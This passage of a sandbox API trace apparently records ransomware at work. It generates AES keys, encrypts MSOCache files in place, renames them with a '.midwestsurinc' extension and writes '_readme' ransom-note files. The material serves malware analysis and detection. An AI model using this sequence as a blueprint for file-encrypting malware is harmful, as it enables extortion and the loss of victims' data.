"c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.685] GetLastError () returned 0x5 [0260.685] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-PT", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.686] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.686] GetLastError () returned 0x5 [0260.688] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ru-RU", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.689] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.689] GetLastError () returned 0x5 [0260.689] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\sv-SE", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.689] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.689] GetLastError () returned 0x5 [0260.690] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\tr-TR", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.693] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.693] GetLastError () returned 0x5 [0260.693] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-CN", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.693] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.693] GetLastError () returned 0x5 [0260.694] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-HK", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.694] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.694] GetLastError () returned 0x5 [0260.694] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-TW", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.695] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.695] GetLastError () returned 0x5 [0260.696] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0260.696] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x15ffafc, lpLastWriteTime=0x15ffafc) returned 1 [0260.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0260.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af368 [0260.697] CryptGenKey (in: hProv=0x4f1ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x15ffb20 | out: phKey=0x15ffb20*=0x4fd4a0) returned 1 [0260.698] CryptExportKey (in: hKey=0x4fd4a0, hExpKey=0x4f6100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x15ffb1c | out: pbData=0x0*, pdwDataLen=0x15ffb1c*=0x20c) returned 1 [0260.699] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x177cfe8 [0260.699] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931620) returned 1 [0260.699] CryptExportKey (in: hKey=0x4fd4a0, hExpKey=0x4f6100, dwBlobType=0x1, dwFlags=0x0, pbData=0x177cfe8, pdwDataLen=0x15ffb1c | out: pbData=0x177cfe8*, pdwDataLen=0x15ffb1c*=0x20c) returned 1 [0260.700] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.700] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931ae8 [0260.700] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ffb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ffb10*=0) returned 0x0 [0260.701] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ffb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ffb28*=0) returned 0x0 [0260.701] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x940) returned 0x165cd50 [0260.701] ReadFile (in: hFile=0x1f0, lpBuffer=0x165cd50, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x15ffb28, lpOverlapped=0x0 | out: lpBuffer=0x165cd50*, lpNumberOfBytesRead=0x15ffb28*=0x93a, lpOverlapped=0x0) returned 1 [0260.726] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x940) returned 0x1676f98 [0260.726] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x165cd50) returned 1 [0260.726] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x940) returned 0x165cd50 [0260.726] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931620) returned 1 [0260.727] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1676f98) returned 1 [0260.727] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xd40) returned 0x1676f98 [0260.727] CryptEncrypt (in: hKey=0x4fd4a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1676f98*, pdwDataLen=0x15ffb24*=0x93a, dwBufLen=0xd3a | out: pbData=0x1676f98*, pdwDataLen=0x15ffb24*=0x940) returned 1 [0260.728] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1676f98) returned 1 [0260.728] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ffb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ffb10*=0) returned 0x0 [0260.728] WriteFile (in: hFile=0x1f0, lpBuffer=0x165cd50*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x15ffb28, lpOverlapped=0x0 | out: lpBuffer=0x165cd50*, lpNumberOfBytesWritten=0x15ffb28*=0x93a, lpOverlapped=0x0) returned 1 [0260.728] FlushFileBuffers (hFile=0x1f0) returned 1 [0260.767] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x15ffbd8) returned 1 [0260.770] NtClose (Handle=0x1f0) returned 0x0 [0260.770] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0260.771] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0260.772] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0260.772] GetLastError () returned 0x2 [0260.772] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x15ffab8 | out: lpFileInformation=0x15ffab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x8f3f50, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x15ffb60)) returned 0 [0260.772] GetLastError () returned 0x2 [0260.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0260.772] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x15ffafc, lpLastWriteTime=0x15ffafc) returned 1 [0260.772] WriteFile (in: hFile=0x1f0, lpBuffer=0x4afe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x15ffb28, lpOverlapped=0x0 | out: lpBuffer=0x4afe10*, lpNumberOfBytesWritten=0x15ffb28*=0x168, lpOverlapped=0x0) returned 1 [0260.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb) returned 0x4ad630 [0260.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931b30 [0260.773] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad630) returned 1 [0260.773] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931b30) returned 1 [0260.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2d1) returned 0x95f418 [0260.774] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x15ffbd8) returned 1 [0260.774] NtClose (Handle=0x1f0) returned 0x0 [0260.774] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0260.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x95f418) returned 1 [0260.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931ae8) returned 1 [0260.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x165cd50) returned 1 [0260.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x177cfe8) returned 1 [0260.775] CryptDestroyKey (hKey=0x4fd4a0) returned 1 [0260.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x19315d8) returned 1 [0260.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x17daf68) returned 1 [0260.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x17db070) returned 1 [0260.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af368 [0260.775] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x15ffb04 | out: lpFileInformation=0x15ffb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0260.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0260.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1791650 [0260.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x17915c8 [0260.829] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1791650) returned 1 [0260.829] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.830] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x17915c8) returned 1 [0260.830] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af3f0) returned 1 [0260.830] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x15ffb00 | out: lpFileInformation=0x15ffb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0260.830] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0260.830] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x17db070 [0260.830] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af3f0) returned 1 [0260.830] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x17daf68 [0260.830] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af368) returned 1 [0260.830] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x15ffab8 | out: lpFileInformation=0x15ffab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0260.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0260.830] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x15ffafc, lpLastWriteTime=0x15ffafc) returned 1 [0260.830] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af368 [0260.830] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af3f0 [0260.831] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af368) returned 1 [0260.831] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af3f0) returned 1 [0260.831] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x19315d8 [0260.831] CryptGenKey (in: hProv=0x4f1ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x15ffb20 | out: phKey=0x15ffb20*=0x4fd4a0) returned 1 [0260.831] CryptExportKey (in: hKey=0x4fd4a0, hExpKey=0x4f6100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x15ffb1c | out: pbData=0x0*, pdwDataLen=0x15ffb1c*=0x20c) returned 1 [0260.831] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x177cfe8 [0260.831] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931ae8) returned 1 [0260.831] CryptExportKey (in: hKey=0x4fd4a0, hExpKey=0x4f6100, dwBlobType=0x1, dwFlags=0x0, pbData=0x177cfe8, pdwDataLen=0x15ffb1c | out: pbData=0x177cfe8*, pdwDataLen=0x15ffb1c*=0x20c) returned 1 [0260.831] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931ae8 [0260.831] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.831] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ffb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ffb10*=0) returned 0x0 [0260.832] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ffb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ffb28*=0) returned 0x0 [0260.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa00000) returned 0x1e40020 [0260.832] ReadFile (in: hFile=0x1f0, lpBuffer=0x1e40020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x15ffb28, lpOverlapped=0x0 | out: lpBuffer=0x1e40020*, lpNumberOfBytesRead=0x15ffb28*=0xa00000, lpOverlapped=0x0) returned 1 [0261.344] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa00000) returned 0x2850020 [0261.589] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1e40020) returned 1 [0261.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa00000) returned 0x1e40020 [0261.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1931ae8) returned 1 [0261.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x2850020) returned 1 [0262.052] CryptEncrypt (in: hKey=0x4fd4a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1e40020*, pdwDataLen=0x15ffb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1e40020*, pdwDataLen=0x15ffb24*=0xa00000) returned 1 [0262.181] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ffb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ffb10*=0) returned 0x0 [0262.181] WriteFile (in: hFile=0x1f0, lpBuffer=0x1e40020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x15ffb28, lpOverlapped=0x0 | out: lpBuffer=0x1e40020*, lpNumberOfBytesWritten=0x15ffb28*=0xa00000, lpOverlapped=0x0) returned 1 [0262.418] FlushFileBuffers (hFile=0x1f0) returned 1 [0262.792] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ffb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ffb28*=0) returned 0xa00000 [0262.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800240) returned 0x2850020 [0262.792] ReadFile (hFile=0x1f0, lpBuffer=0x2850020, nNumberOfBytesToRead=0x800204, lpNumberOfBytesRead=0x15ffb28, lpOverlapped=0x0) Thread: id = 1079 os_tid = 0x718 [0259.162] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.162] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.163] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.163] GetFileType (hFile=0x1c8) returned 0x0 [0259.163] ResetEvent (hEvent=0x110) returned 1 [0259.163] SetEvent (hEvent=0x114) returned 1 [0259.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.164] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.164] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.164] GetFileType (hFile=0x1c8) returned 0x3 [0259.164] ResetEvent (hEvent=0x110) returned 1 [0259.164] SetEvent (hEvent=0x114) returned 1 [0259.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.164] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.165] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.165] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.165] GetFileType (hFile=0x1c8) returned 0x0 [0259.165] ResetEvent (hEvent=0x110) returned 1 [0259.165] SetEvent (hEvent=0x114) returned 1 [0259.165] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.165] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.165] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.165] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.165] GetFileType (hFile=0x1c8) returned 0x3 [0259.165] ResetEvent (hEvent=0x110) returned 1 [0259.165] SetEvent (hEvent=0x114) returned 1 [0259.166] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.166] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.166] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.166] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.166] GetFileType (hFile=0x1c8) returned 0x0 [0259.166] ResetEvent (hEvent=0x110) returned 1 [0259.166] SetEvent (hEvent=0x114) returned 1 [0259.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.167] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.167] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.167] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.167] GetFileType (hFile=0x1c8) returned 0x3 [0259.167] ResetEvent (hEvent=0x110) returned 1 [0259.167] SetEvent (hEvent=0x114) returned 1 [0259.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.168] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.168] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.168] NtQueryObject (in: Handle=0x1c8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.168] GetFileType 